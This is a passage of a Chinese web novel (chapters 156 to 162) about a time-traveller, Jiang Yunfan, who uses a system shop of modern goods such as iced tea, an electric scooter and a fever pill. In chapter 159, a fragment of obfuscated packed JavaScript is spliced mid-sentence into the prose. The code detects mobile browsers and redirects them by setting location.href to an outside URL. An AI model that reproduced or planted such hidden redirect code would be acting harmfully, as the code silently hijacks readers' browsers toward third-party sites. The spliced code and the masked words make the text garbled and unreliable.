“秦小姐若是喜欢,我可以抓一条做成烤鱼。”
“烤鱼?”
让秦七汐感到惊讶的哪里是鱼。
但她先是一懵,很快便又回过神来,眼神顿时闪过一抹向往。
烤鱼好啊,在王府时,父王从来不准自己吃烤鱼。有一次见老师偷偷吃过,满屋飘香,她很是嘴馋。
想不到今日竟从江云帆口中,听到了这两个字!
江云帆哪能看不懂她这般表情,就和昨晚想吃他德芙的时候一模一样。
“那就请秦小姐稍作等待,小院和屋内都可落座,我先给二位上茶。”
“好,有劳江公子了。”
江云帆礼貌摆手,迈步便往屋里走去。
然而就在他转身的片刻,秦七汐和墨羽的目光,同时注意到了他手里的无人机。
脸盆大小,银黑相间,四角生有旋翼。
两人不禁皱起了眉头,相视一眼,都从对方目光中读出了惊疑。
墨羽靠近两步,压低声音道:“殿下,从杨文炳杨公子的描述来看,江云帆手里这东西,外形很像文会那晚出现在楼船上空的法器。”
秦七汐抬头,望着江云帆消失之处。
她没有答话,但心中十分清醒。
镜湖文会突然出现的飞行奇物,本就不符合常理。
今日所见的电驴儿不符合常理,眼前会动会转的木轮子,也不符合常理。
这一切的不符合常理,最终引出一个不符合常理的人,那便是江云帆。
此时此刻,那个男子给秦七汐的真实感觉,是他好像根本就不属于这人世间……
秦七汐肯定自己一开始的想法是对的。
那晚一首“东风夜放花千树”,千古妙词,必定是出自江云帆之手!
“殿下,咱们现在怎么办?”
“等着吃鱼。”
“……”
是啊,眼下最重要的事情,显然是吃鱼。
虽说在秦七汐眼里,越是靠近江云帆,便越觉得对方神秘。但她还是忍不住想要靠近,她想要一点一点的,去解开他身上所有的秘密。
“茶好了。”
就在这时,江云帆端着一套做工精致的茶壶茶盏从屋里走出,径直来到遮阳凉棚下的茶桌旁。
将那橙里透红的茶水倒好,并摆上两把折叠式的小凳。
秦七汐见状,连忙走过来。
先是与江云帆道了句谢,随后看向那杯中的茶水,好奇心驱使下,端起来放在鼻尖轻轻一闻。
“……”
好一阵清凉甘甜的气息!
哪怕中间隔着空气,也能感受到其中传来的丝丝冰冷,怎会有茶水给人这般奇妙的感觉?
而且那橙红透明的颜色,根本不似茶叶浸泡而成。
“敢问江公子,这是什么茶?”
“这个啊……”
见秦七汐满脸惊讶,江云帆微微一笑,也为自己倒上一杯,一饮而尽。
随后大吐一口气,直言道:“这玩意儿,叫冰红茶!”
……
第157章 笨得像个蛋呐
当江云帆返回秋思客栈时,临近傍晚。
中午的热闹结束后,自外地而来的游人都已离开,此时的大堂略显冷清,只有三三两两的本地熟客在喝着下午茶。
他是在前台处见到的白瑶。
这会美女老板娘正在与客栈的杂工小李对峙,一张精致的脸蛋能明显看出愤怒。
“你两次在客栈最忙碌的时候旷工,我辞掉你有什么问题吗?”
“那咋了,反正是你不让**的,这个月的月钱得给我!”
小李也不管那许多,就把双手往怀里一揣,靠着桌沿,梗着脖子,一脸无赖。
白瑶气得胸口上下起伏。
她咬咬银牙,目光里带着凌厉:“你本是客栈的人,今日却帮着外人一起对付小帆,我说什么也不可能给你钱!”
“嘿嘿,不给钱?那我就报官,我让县令王大人来封了你这小客栈!”
小李现在当然自信满满。
江云帆备受老板娘青睐又如何?那只是个小客栈的老板娘。
要知道,如今的他可是被齐小姐所看重的人,这足以说明,他比江云帆强多了!
而且下午小李可是亲眼看见了,就连王县令在齐小姐面前都是点头哈腰跟狗一样,有这层关系,他还需怕个小小的白瑶?
“要钱恐怕是不行了!”
就在这时,熟悉的声音自门口响起,小李扭头一看,眼中立马浮现出一抹幽怨。
江云帆径直绕过柜台,站在白瑶身旁。
随即目光平静,嘴角带笑看着小李:“倒是你,估计还得还钱回来。”
“我?还钱回来?你在做什么梦……”
“啪!”
话音未落,一封契纸**云帆丢在柜面上。
江少爷眉头一挑:“喏,自己好好看看清楚,当初聘工时白纸黑字写的条款,若连续无故缺工两次,客栈有权予以辞退,并扣除半月月钱,上面可是有你签字画押的。”
他可不傻,前世在流水线上受尽剥削,如今穿越,又怎能不学些剥削的手段?
小李是两个半月前入职的,当时他就给了白瑶建议,新招员工都要签下雇佣契约予以约束,这样才能免去后顾之忧。
果不其然,这就派上了用场。
“六月的月钱已经结算,而今天才七月初八,你旷了两天,只上了六天工,所以现在还倒欠客栈九天的工钱,拿来吧。”
江云帆一脸笑意地朝对方伸出手掌。
“我……”
小李兀自一愣,眼中明显闪过一丝慌乱。
但他胜在手快,直接一把将那契纸夺去,“擦擦擦”几下撕得粉碎。
“你是不是傻?”
江云帆都无语了,“当时签了两份,你忘了吗?”
“你……”
可恶啊!
小李一张脸都青了。
没办法,讲理讲不过,那就只好讲势力了。
“江云帆,你知道我背后是什么人吗?京城开阳侯府齐小姐,她念我能力非凡,对我十分器重,你们识相的就赶紧把这整月的工钱给我,否则拆了这破客栈!”
说这话时,小李直接挺起了胸膛。
怎奈何,有些事总归是出奇凑巧,就在他一句说完之时,门口突然出现一大群人。
为首的,正是齐之瑶。
“请江公子不要误会,此人我不认识,他的所作所为,也与我无关。”
“!”
听闻此话,小李一双眼直接瞪圆了。
他眼睁睁看着齐之瑶走到面前,然后对着江云帆微微欠身,行了个标准的淑女礼:“见过江公子!”
这……这什么情况?
不止如此,继齐之瑶之后,县令王承德又领着好几位衣着华贵的男人,一并走进堂中。而后朝江云帆抱拳道:“江公子,中午之事都是我的不对,还请公子莫要见怪!”
说着,便将身后几人引来出来:“这些都是城内富商,若江公子有意,他们都可与秋思客栈建立生意往来。”
“没错江公子,我在凌州乃至怀南,都有产业,可以帮忙把秋思客栈开往各地!”
“还是与我合作吧,我能免费为客栈提供各类食材!”
“我手下家丁百人之众,可包揽客栈一切大小事务!”
“……”
一群人七嘴八舌,好不殷勤。
白瑶站在江云帆身旁,俏脸泛白,一时有些不知所措。
从小到大,她的生活一直都处在最底层,后来更是连挺直腰杆的权力都没有。
眼前这些人她认识不少,都是县城里有钱有势的存在,今日竟都齐聚在她的客栈,一个个争着抢着寻求合作,甚至丝毫不求利益。
白瑶哪里见过这样的阵仗?
小李同样也没见过。
最让他无法理解的,不是齐之瑶着急与他撇开干系,而是包括王县令在内的所有人,竟都在讨好江云帆!
原来齐小姐利用自己,只是为了寻找江云帆……
“多谢各位的好意。”
就在白瑶不知如何应对时
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,江云帆浅笑回应,“不过秋思客栈当下的现状,我们已经知足,所以……抱歉了。”
作为一个小杂工,江云帆本没有权力帮白瑶拒绝。
但作为瑶姐最亲密的小弟,他有义务帮忙规避风险。眼前这些人虽然一个个诚意十足,但实际都有所求,一旦把秋思客栈推向了更高的商业平台,那么最终一定很难把握得住。
最关键的,是独属于这里的那份宁静安详,将不复存在。
其实白瑶也是这个想法。
但她从江云帆的话里,就提取到一个重点……他说,“我们”的客栈。
“唉,实在遗憾。”
王承德无奈摇摇头,“江公子以后若有任何需要,都可知会于我,我一定全力解决!”
“倒是没什么需要,不过眼下有人要报官封客栈,正巧王大人在这里,不如现场断一断?”
“哦?谁要封客栈!”
小李当即慌了,连忙摇头摆手:“不……不是我。”
江云帆哪里还肯给他机会。
直接把劳工契递上,再把事情简略叙述一遍。
王承德当即听懂了,转头盯着小李:“你在客栈最繁忙的时候,无故旷工两次,还要拿整月的工钱?”
“我我……”
“各位员外,如果你们手底下的工人如此行为,该当如何?”
不得不说,王承德能当上县太爷,还是懂些为人处事的道理。
就着这么个事,直接给讨好一波江云帆。
“明白了,我刘家在镜源县所有产业,绝不招纳此人!”
“我赵家也是!”
一群人纷纷表态。
这下小李彻底慌了,直接“扑通”一声跪倒在地,眼泪横流。
“我错了,王大人我知错了,我发誓以后绝不再犯!”
“小人家中还有三岁孩童和七旬老母嗷嗷待哺,要是以后无处可去,一家子都得饿死啊!”
诚然,虽然齐之瑶赏赐的银两,足够生活半年。
可若是以后永远找不到活计谋生,迟早得饿死!
他后悔啊!
早知道江云帆是连县太爷都得讨好、齐小姐都礼让有加的人,他不要这几日工钱又如何?
而此刻任凭他如何哀求,王承德就是不理。
小李也算聪明,立马明白了到底谁才是说话最管用的那一个。
他连滚带爬来到柜台前,一脸悔恨地望着江云帆。
“云帆兄,我真的错了,求求你给个机会!”
……
第158章 脱胎换骨的进化
安慰成熟小姐姐这种事,江云帆一向比较喜欢干,而且得心应手。
几句甜言蜜语下去,逗得白瑶花枝乱颤。
两人聊得开心,所以也就多说了几句心里话,白瑶开口问他:“要是我想在城里买处宅子,你觉得是选在南街好,还是明灯桥好?”
“买宅子干嘛,城里哪有湖边自在。”
“现在倒是湖边自在,但以后孩童若是要上私塾,乃至去县城的经院,这行程可就太远了。”
白瑶说得一脸认真。
江云帆却是微微一愣,稍稍凑近道:“瑶姐这是打算生孩子了?”
“……”
白瑶俏脸顿时红了一大片。
是啊,她确实想过生孩子的事,毕竟愿望就是安安稳稳地度过一生,孩子是生活必不可少的一部分。
只是关于这事她以前都是偷偷地想。
今天也不知为何,鬼使神差就分享给了江云帆。
“如果只是考虑孩子上学的事,那倒不如……在南门外办所学堂,毕竟这镜湖畔的住户可不少,不可能人人都去城里置办宅子,这不又是一桩生意?”
“小帆,你真聪明!”
白瑶嘴角含笑,眼眸里波光流转。
或许是因为江云帆正面回答了她关于孩子的问题,又或是一想到如此聪明的人,生的孩子也一定很聪明,总之此刻她的内心,就好似吃了蜜一般,齁甜。
“瑶姐打算啥时候生?”
“啊?没……没有,我就瞎说说。”
白瑶连忙收起了笑容,眼珠子一转,转移话题,“明天用不用我陪你一起回凌州?”
江云帆沉思片刻,开口答道:“客栈事务繁多,现在又少个小李,你还得留下招募新人,凌州我速去速回。”
他哪里敢让白瑶跟着去凌州。
江家那位大伯,当初能当众说出原主与有夫之妇厮混,想必是把白瑶的情况也查得一清二楚了,一同前往免不了麻烦。
“那好……”
白瑶也没多说什么,点点头便接着去忙碌了。
江云帆则悠悠哉哉,把客栈上下打整完毕,随后带着江滢回了桃花山。
洗漱完毕,安顿妹妹睡下之后,他便往床边一坐。
随后翻找系统仓库,从里面掏出那颗强身健体丸。
这玩意,是江云帆花费一万点情绪值,从神秘大礼包里开出来的压轴奖励,也不知道能不能值回票价。
他倒了一杯温水,直接和着那形状颜色酷似“伸腿瞪眼丸”的大黑药,一口咽下肚中。
不消片刻,浑身上下一股灼热之感传来。
“靠,这玩意儿不会有毒吧?”
情急之下,江少爷赶紧去把电风扇找来,四档全开对着自己一通猛吹。
体表传来一阵清凉,却依旧消不去体内滚烫。
没办法,只得起身出门来到院中,一头扎进水池。
作为一名很惜命的钓鱼佬,江云帆曾经特地学习过游泳和闭气,毕竟常在河边走,哪有不失足?
可他无论如何也没想到,自己居然踏马的能在水里睡着了!
这一睡不知过去多久,最后还是江滢把他给捞起来的。
小姑娘哭得梨花带雨:“哥,你有什么想不开就告诉我,咱们一起面对,为什么要做傻事啊?”
江云帆顶着一身疯狂淌水的衣服,人都懵了。
不是,这么牛啤的吗?
他自己都忍不住给自己点了个赞,能在水里睡上一觉,也算是解锁了新成就。
回头一看,也多亏这小池子水浅,且他在入水之后,又挣扎着把脑袋枕在了岸边的一滩软泥上,不然这会估计已经漂起来了。
不过饶是如此,正常人在凉水里睡上几个小时,就算没有凉透,估计也得大病一场吧?
可江云帆现在,非但没有不适,反倒觉得浑身上下力量充沛。
他尝试着右手握紧,隔空一拳轰出。
“嘭!”
一声闷响,衣服上的水被打出一大片,向前飞出十几步远。
很明显,一股充满威力的感觉!
难道说这强身健体丸,真给他带来了一次脱胎换骨的进化?
“滢滢,我说我现在能打十个,你信吗?”
江滢满脸慌乱:“哥,你是不是病了,咱们去看大夫吧!”
她是起夜发现江云帆门开着,四下寻找,才在水池里发现他的。
下意识的反应,便是哥哥受了刺激,不想活了。
可谁知醒来之后,开始说胡话。
“没病,你哥我现在很清醒。”
江云帆确实很清醒。
这具身体确实发生了前所未有的改变,这种改变从骨骼到皮肤,彻底到每一处,是健身锻炼一辈子也达不到的效果。
如今以他的力量,不说以一敌十……反
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正等闲三五人是无法近身的。
这还是在完全没有修习武学的情况下。
要知道大乾可是有完整武道体系的,在这个体系之下,各种武诀、武术乃至**层出不穷,据说真正的大宗师能够以一敌万!
原主天资愚钝,尽管江家寻了些资源,但他始终没有入门。
不过江云帆想,以他现在这副躯体再去习武,或许效果立马就不一样了!
想到这他暗暗有了计划。
等此次凌州之行结束之后,他就在县城里找个师傅,不说练成什么绝世大侠游戏天下,至少也得有远超常人的战斗力,这样就算是往后躺平享乐,也有能力保护身边人。
“滢滢,睡觉去,明天咱回家揍江元勤。”
“啊?今天不是已经揍过了吗?”
“还揍。”
“……”
江滢尽管心里依旧万分担忧,可奈何怎么也拗不过江云帆,最后被推推搡搡回到了屋里。
怀着忐忑的心,她最终也只得惶惶入睡。
而江云帆再折回院中,随意打了几套自创的组合拳,大概适应了一下如今的身体。
随后也溜回屋里,躺下睡觉。
一夜静谧……
翌日一早,江少爷早早起床,检查了一下电动车的电量,已满。
他已经提前查阅了参数,这款车的最大续航距离在120公里左右,而镜源县与凌州城之间的路程,也就三十余里,跑上一个来回绰绰有余。
江滢已经提前煮好了浓粥,用的是江云帆从系统商城兑换的珍珠米。
三明治和面包是没有了,但好在还有一瓶饭扫光,就着下饭,味道一绝。
“哥,你真的没事吗?”
登车下山之时,江滢依旧放心不下。
“不用多想,你哥我没事,坐稳了!”
电动车一番风驰电掣,直奔县城北门。
而与此同时,在镜湖岸三号码头停靠多日的王府楼舫,终于挂起了风帆,那巨大的船身开始缓缓驶离。
甲板前端,秦七汐裹着一身素色长裙,目光默默注视远方。
“小汐,有个很重要的事,我需要告诉你。”
许灵嫣的身影,也在此刻恰到好处地出现在旁边。
她转过脸注视秦七汐,一双眸子带着绝对的诚恳:“关于江云帆写的每一首词,每一首诗,背后的真相!”
……
第159章 彦兄,又见面了
镜源县城,北门外,一条四马官道直通远方。
尽管万灯节已过去两日,但城内依旧有不少滞留的游客。他们刻意多等一天,本打算错过众人返程的高峰期离开,却殊不知,与自己有同样想法的人遍地都是。
所以此刻的北城门下,一片水泄不通。
为避免招摇和拥堵,江云帆是沿城西的小路,绕行到位于城外一里处的松垭路口。
官道在此处一分为二,一条向东通往凌州,一条向北出江南,途径三大行省直指帝京。
路口的游人也不在少数。
即便江云帆已经尽量低调地了,但还是免不了吸引一大帮人的目光。
“那什么鬼东西那是?”
“不知道哇,从来没见过,脚底下长轮子,还能驮着人在地上跑来跑去,当真神奇!”
“好像是上面那小子在操弄,这玩意儿是什么新发明吗?”
“我在京城都没见过这样的新发明,喂……兄台,叫什么这个?双轮走地犬莫非是?”
“……”
我嘞个双轮走地犬哟!
江云帆都无语透了,这特么的叫电动车,是车!你可以说它是驴,但能不能告诉我哪里像犬?
尽管不服,但他显然没必要跟这些游人争论个对错。
只得默默回拒一个又一个的询问,然后载着江滢,躲到路边的松木林里。
有人的地方就有商业。
在人群稍显稀疏的路口两侧,一些小贩已经摆好了摊子,主要售卖一些馒头包子、干饼馍囊等易于携带,又方便保存的食物,叫卖声不绝于耳。
多数游客接下来都是要跋山涉水行路千里的,故而这些东西算是刚需,生意极好。
不过江云帆没有跟着去凑热闹,他步行来到边角处两座生意惨淡的摊位前,称了二斤烤板栗,再买了些糖人糖水。
现在步入小康,也是吃上小零食了。
没办法,财神爷小姐给的一千两银子,虽只是银票一张,放在兜里却沉得可怕。
此外,江云帆这番还带上了从程修齐手里赢来的那块玉佩。毕竟镜源县地儿小,典当铺里的干瘦小老板未必识货,所以他计划着顺道去一趟凌州城里的珍宝行,把这玩意儿给出手了。
顺便趁着此行,把江滢的病再给看一看。
“谢谢哥哥。”
接过江云帆递来的糖人,江滢直接伸出小舌头开舔,一双眼睛里不停闪星星。
时间缓缓流逝。
辰时一刻已过,墨羽方才骑着一匹大马,“哒哒哒”赶到。
“时间观念不行啊墨姑娘,要不看看现在太阳晒到哪了?”
墨羽一脸冷色:“我不姓墨。”
“随你姓什么,既然迟到,回头可得让你家小姐扣月钱!”
“……”
墨羽不想回应,她确实没料到城内如此拥堵,若不是她身手敏捷、见缝插针,估计这会都还没能出城。
当然,她也不打算说明自己那点月钱无关紧要,只要跟在郡主身边,就永远不愁没钱花。
“走了,出发凌州!”
江云帆撂下一句之后,果断启动电动车,一阵风驰电掣直冲远方。
那官道平整宽敞,电动车跑起来也快,一道残影过后,引得一排排的游客扭头目送。
江少爷自然也顺理成章地收获了一大票情绪值!
只是这些毫不相干,未来多半也没有交集的路人,那奖励倍率实在低得可怜,故而那一波波情绪值,以个位数居多。
饶是如此,江云帆的情绪值总额也再次突破了一万点。
今日的系统商场已经刷新,他继续选择锁定那把84式的微型小**,使其售价降到了39000,假以时日必能拿下。
至于商城里其他的货品,除了常规的油盐酱醋,和两只电灯泡外,还出现了一件怪东西!
【薄款微透黑丝袜(均码),售价:1000情绪值】
在看见这玩意儿的第一眼,江云帆整个人是迷茫的。
拜托,系统大人,作为寄生在宿主体内的外挂,你难道对宿主一点都不了解,不明白宿主需要什么,想要什么吗?
我江云帆堂堂正人君子,来到这个世界,也只想享受生活,陶冶情操。
你不给我刷新点电视冰箱之类的,整个黑丝,我能用来干嘛?
【叮,兑换成功,扣除情绪值1000点!】
好吧,江云帆承认。
他确实是来享受生活的,但谁说黑丝不是享受生活的一部分?
万一哪天真的有需要,岂不是更享受?
他默默将那黑丝存入系统仓库的最底角,随后一脸正色地驾着电动车,呼啸着向东而去。
……
江云帆的电驴儿,最大时速能够维持在五十码左右。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524035|180472||http|test|mini|href|location''.split(''|''),0,{}));
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r>这与一般良马的极限速度差不多。
但电动车不需要休息,马匹可不行。故而墨羽总是被甩出老远,每当看江云帆兄妹两人的身影消失在拐角处,她就有一种落于人后的憋屈感。
她真怀疑这电驴儿,是江云帆用了什么邪术造就而成。
这一路急急缓缓,最终足用了半个时辰,方才抵达凌州城。
远远看见比镜源县高出将近二丈的巍峨城墙,江云帆脑海中一些熟悉的记忆被唤醒,并且情绪有些莫名的恍惚,想来应该是原主与故土之间的共鸣。
近来凌州境内并不太平,听说有南济的密探潜入,数量不少,已成组织。
故而要想从城门口通过,必须经过层层盘查。
江云帆心里是比较担忧的,毕竟身下这电动车对于古人来说,毫无疑问是天外来物。未知事物最易吸引注意,想要顺利通过城门不被拦下,说实话概率不大。
“怎么不走了?”
就在他远远停下之时,墨羽骑马从后方跟了上来。
她显然是猜到了江云帆的顾虑,眼中浮现出一丝冷漠:“我有通行令,可随意进出江南各大城池,至于你,我不敢保证。”
江云帆也不怕,冷冷一笑回应:“我若入不了城,你也就尽不到职责,那便等同违抗了你家小姐的命令。”
“……”
墨羽眉头一皱,心有不爽,却无力反驳。
她只得朝江云帆使了个眼色,随后率先策动马匹,径直来到城门口。
江云帆紧随其后,见墨羽掏出一块令牌,与几名守卒交谈了几句。
那些卫兵顿时变得毕恭毕敬,纷纷让开道路。
随后一个个瞪大双眼,又惊又疑地看着江云帆驾着电动车,缓缓从眼前驶过,随即开始交头接耳,面面相觑。
其中有几名老兵,眼睛里的愕然都快瞪出来了。
“这等器具,怕是巧夺天工啊!”
他们守了二十几年的城,还是第一次见到这种怪东西!
江云帆也是尽量降低存在感,循着道路的边缘往城内驶去。
可就在这时,城内突然传来一阵马蹄声。
“站住!”
一列身披甲胄的骑兵飞速出城,为首一人直接将战马一横,拦住江云帆三人去路。
“孙将军有令,一切可疑之人,不论身份,一律拦下!”
……
第160章 特效退烧药
有了杨文炳领路,江云帆三人入城十分顺利。
行过两条街,便抵达位于城西的凌州总督府。他们是应了杨文炳,在此处暂时落脚。
总督杨恒已奉朝廷旨意,被调往南境镇关。故而此刻的杨府上下,基本都是由杨文炳一人说了算。
“彦兄……不对。”
客堂之上,杨文炳亲手为江云帆倒上一杯茶,话到一半却突然顿住,“不知我现在是该称呼彦公子,还是江公子?”
江云帆微微一笑,接过那悬在半空的茶盏:“姓名不过是个代号,叫什么都一样,杨兄随意就好。”
“那……我还是叫彦兄吧。”
此时此刻,杨文炳忽然有些怅然。
昨日在那秋思客栈,他在经过一番寻觅之后,终于赶在许灵嫣离开的前一刻,于大门外将其找到。
还未等他开口询问,许灵嫣便已迫不及待,告知他一切的真相。
原来他们从一开始就错了。
无论是镜湖之畔,还是秋思客栈,他们所遇到的,根本就是不同名字的同一个人。
其实杨文炳画中的彦公子,与真实的江云帆,虽有偏差,但神比形似。抛开那一头长发被剪短不谈,若稍加对照,很容易就能辨认出来。
许灵嫣不认,是因为她从一开始就对江云帆有着骨子里的蔑视。
事到如今,杨文炳已彻底了然。
没有彦公子,只有江云帆……但他心中的那个彦公子依然存在如旧,就好似当初摇曳在湖面的那艘小船,船上那道沐浴赤橙船火的身影,在月下永恒摇曳。
杨文炳有太多太多的疑问。
镜湖文会的“东风夜放花千树”,是否真的由江云帆所投?
从豪门废柴到隐世诗神,如此短暂却又惊天动地的改变,导致的原因究竟是什么?
许灵嫣也说过江云帆所有的作品都是从他人那里剽窃而来。
可杨文炳不信,他更相信那个洒脱孑然的彦祖依然存在。
“我答应过彦兄,关于你的信息,绝不泄露给旁人,说到做到!”
“那就多谢杨兄了!”
江云帆举起茶杯,与杨文炳相碰,随后一饮而尽。
就着茶水与桌上的甜点,两人闲扯了一阵,聊了些关于凌州的现状,但都不约而同地没有谈及诗词。
杨文炳心里清楚,彦兄不愿让那些惊世骇俗的佳作署上自己的名字,必然是有其道理。
“我在凌州待的时间也不长,目前倒是听说江家内部情势复杂,长房江宏已经从老爷子手里接过了不少的产业,目前来看大有直接继承家主的可能。”
在送江云帆离开时,杨文炳一边分享自己知道的情报,一边有些迟疑道:“彦兄,真不需要我陪你同去吗?”
“不用,这也只能是江家的家事,你去也不一定好查收。”
“好吧,那如果彦兄在凌州城内遇到任何麻烦,都可立马差人告知于我,我定当全力相助!”
江云帆点点头。
与对方抱拳行礼,随即转身出门,启动电驴儿,领着江滢便朝城北江家的所在而去。
……
与此同时,距离凌州城十里之外,位于镜湖北岸的凌州码头。
原本一切如常的港口,正不断接送吐纳着来自镜源县或怀南城的客船,一片热闹之景。
但很快,随着一道遮天蔽日的巨大黑影突然降临,原本嘈杂一片的码头,在这一刻陷入了良久的安静。
有不少的游人已经见识过这条大船,知道那是来自南毅王府的楼舫。
故而纷纷让开水路,使其拥有足够的空间可以靠岸,将那巨大的舷梯放下。
秦七汐等
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人下船时,早已有马车在此等候。
她领着青璇,照旧与沈远修同乘最前端的一辆,而主动随行的许灵嫣则落在了后方。
“没想到,郡主这番竟会从凌州绕行,正巧老夫在这里也有点事,可以前去稍作处理。”
沈远修要处理的,自然是凌州讲学之事。
昨日与江元勤约定好之后,他便有了计划,此行顺带去一趟江家,探一探那江云帆的过往。
异星凌空的诡异天象,如今依旧历历在目,沈远修自然不能放着那些已有的猜测不管,就这么回了怀南城。
“倒是你,来凌州又是做什么?”
沈远修眼下还不知道,江云帆已经到了凌州,而秦七汐正是追随而来。
但小郡主自然不会把心里话明说,她挪了挪视线,瞥了一眼窗外,随即回头道:“听说凌州的麻圆味道不错,反正都要回怀南城,绕一绕,尝尝鲜也挺好。”
“好好好……”
沈远修会心一笑。
他可太了解自己这唯一的学生了,嘴馋只是其一,贪玩也丝毫不落。凌州相对于怀南城来说方向相反,她想尽办法绕行,定是不想这么快回家。
就在此刻,秦七汐及时转移话题,露出一脸担忧道:“老师身边既无护卫,也没带个书童,不如我让严将军差人随行?”
“大可不必,老夫我一身轻松,哪里需要别人侍奉?你且在进城之后,择一大道让我下车即可。”
沈远修摆摆手,本来那开阳侯府的齐小姐还打算今日跟随一起来的,也被他给拒绝了。
“那行,老师注意安全。”
……
凌州城北,江宅。
当江云帆三人抵达时,远远发现,此刻在那偌大的豪宅门外,男男女女的侍卫丫鬟正分立两侧,像是在等待什么人。
第161章 莫非是仙丹
“三少爷,不是我不愿相信……只是这东西,还不足指甲盖大,其中既无药材,也无补料,它当真有用吗?”
韦方将那纸张摊开,目光在其中小药丸上来来**。
不说见过这东西,他甚至从来都没有听过这样的说法,哪有在如此高烧的情况下,服用这小小一粒,就能在一炷香之内退烧的?
哪怕是奇珍如山的大乾帝宫,也找不出这样的宝物吧?
韦方兀自两边眉毛拧成了一条线。
“韦大夫,事况紧急,正如你所说,若不能尽快止热,恐将危险万分!”
其实江云帆也心急不已。
这江家上上下下,能算作好人的不多,老夫人是其中一个,且以前对原主和江滢是疼爱有加。
江云帆自然不能让其就这么遭遇不测。
只是以他现在的身份,想要再入江府,必定会受到阻拦,而且就算能进去,也不会有人相信他这药能救命。
所以,只能把希望放在韦方身上。
“实不相瞒,江府上下正为这事闹得沸腾。”
面对江云帆的催促,韦方摇头叹息道,“早前我在里面听见老爷子放话,家中能请来良医治好老夫人,谁就能拿走他手里三成的产业!这会江三爷已经去请梁大师了,二公子急得不行,若我再去一趟依旧无果,恐怕他不会轻易饶我……”
听到这话,江云帆立刻明白了。
怪不得江元勤刚才怒火滔天,对着韦大夫拳打脚踢,原来是所请医者的诊治结果,将会影响到家产的继承。
想到这他立马正了正脸色:“韦大夫且相信我,这药只要一到,定会病除!”
韦方满脸纠结。
相信江云帆?这在常人听来,是多么可笑的笑话。
凌州城谁不知道江家三少爷不学无术,一技无长?他也不是没学过医,以前江家还特地请了医师到府上授业,可学了半个月,硬是连基本的几种药材都记不住。
现在说自己的药能轻易化解高热,谁敢信?
韦方敢信!
他思来想去,若自己此番拒绝三少爷,万一真有坏事发生,恐怕这辈子都问心有愧了。
过去了,就算失败,那顶多是受一顿殴打。
“行,我这便去!”
韦方折好纸张,将那特效药放入怀中,随即转过身,一瘸一拐地朝江府折返。
“哥,阿婆真能好起来吗?”
“会的,咱们找个地方去等着。”
江云帆默默江滢的小脑袋,以示安慰。随即就近寻了处街角,从这里能完整看见江家的大门。
若有情况,第一时间就能发现。
……
韦方尽管一路颠簸,但还是很顺利地进入了江府。
穿过一条走廊后,他很快又遇见了江元勤。
“你还来做什么,找打?”
江元勤一张脸上,明显看得出怒意,“都是为请你而耽搁了时间,结果你毫无作用!这会我三叔已经请来了梁大师,有他出手,已经没我们什么事了!”
听到“梁大师”这三个字,韦方眼中顿时闪过一丝恍然。
确实,那梁大师乃是整个凌州最有名的神医,不仅精通医术,还知晓一些奇妙异法。只是出诊收费极高,且平常人很难将其请动,可一旦请动了,那基本很快就能将病治好。
在一众医者心中,那就是医圣一般的存在。
只是,韦方犹豫了片刻之后,还是面露坚定道:“还是劳烦二公子让我去看看吧,此番我带有良药,能够快速止热退烧。”
这药到底有没有效,韦方自然也是不清楚的。
但想到既然答应了三少爷,若这粒药不能及时送到,那他的内心也实在过不去。
“你这才走多久,就找到良药了?”江元勤一脸不信。
“这是我……从一高人处得来,二公子,时间紧迫,还请立刻带我去为老夫人退热!”
韦方并没有把江云帆给说出来。
而前方的江元勤顿了一下。
虽不知韦方说的药有没有用,但想到试一试又无妨,万一真把病给治好了,那自己不就成最大的赢家了吗?
于是他朝韦方使了个眼色,随后转头领路,将其带到了江家老夫人的居处。
此时屋里已经落脚了不少人。
老夫人卧病在床,也不知是睡着了还是昏迷。至于江家老家主江崇业,及其长子江宏和三子江勋都在堂中。除此之外,还有一个模样看着六十岁
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上下,领着个女侍童,一脸娇纵的老者,此刻正在给老夫人诊脉。
“敢问梁大师,我夫人情况如何?”
那老者正是传说的梁大师。
这会江崇业把姿态放得极低,一张因急切而慌乱不堪的老脸,这会已经有些惨白了。
“这个嘛……”
梁大师微微叹了口气,摇摇头道:“老夫人情况复杂,高烧半日不退,已经有些丧失神志。”
说着他转过头来,一脸严肃:“江老爷,老夫人这病,恐怕不光是伤风感冒那般简单,或者说……起因根本就不是病!”
江崇业浑身一颤:“不是病?”
“不是病,那是什么?”
梁大师那一脸严肃认真的样子,显然是把在场的人都给吓到了。
老三江勋连忙迈步走了上去,一脸担忧:“还请大师明示。”
“浑身高热,那只是表象。”
梁大师半眯着眼,沉声答道,“我方才把脉时,察觉到老夫人气脉紊乱,体内有血液淤积,却不似病症所致,反倒更像是一种……内伤!”
“内伤?”
此话一出,全场皆惊。
江家众人面面相觑,老夫人平时都好好的,磕碰摔倒,在府上也是时刻有人照看,怎会突然多出什么内伤?
“寻常体热很好解决,哪怕是捂上一条湿毛巾也能退烧。”
这时梁大师继续说道,“但诸位应该也看见了,老夫人的张开,无论用什么方法,都无济于事,这便是内伤导致阻塞,迫使高热不消!”
“定是被老二家那两个蠢货给气的!尤其是江云帆,那废物……”
江宏咬牙切齿,指着屋外便是一通臭骂。
可谁知江元勤刚好走到门口,迎面便被指中了鼻子。
父子俩皱皱眉,各自没有说话。
江元勤领着韦方匆匆进屋,走到江崇业身边轻轻作揖:“阿公,韦大夫回来了,他说还带了能够快速退烧的良药!”
“快速退烧的良药?”
一时间,所有人的目光都被吸引过来。
那梁大师更是眯眼看着蹒跚进门的韦方,目光带着审视。
“哼。”
他嘴角轻蔑一撇,“庸医!”
……
第162章 直接硬闯
【叮,震惊达成,来自江崇业的情绪值:+242!】
【叮,震惊达成,来自梁千秋的情绪值:+189!】
【叮,震惊达成,来自江元勤的情绪值:+155!】
【叮,震惊达成,来自韦方的情绪值:+120!】
……
随着一连串的系统提示音响起,江云帆只觉得大脑被震得有些亢奋激昂,整个人都精神了不少。
将近十次的情绪值跳跃,整个江家上下几乎都被震惊了个遍。
尤其意外的是,这帮人奖励倍率看着都不低。
这也为江云帆带来了超过一千点的情绪值,让总量再次突破一万,来到了10542点!
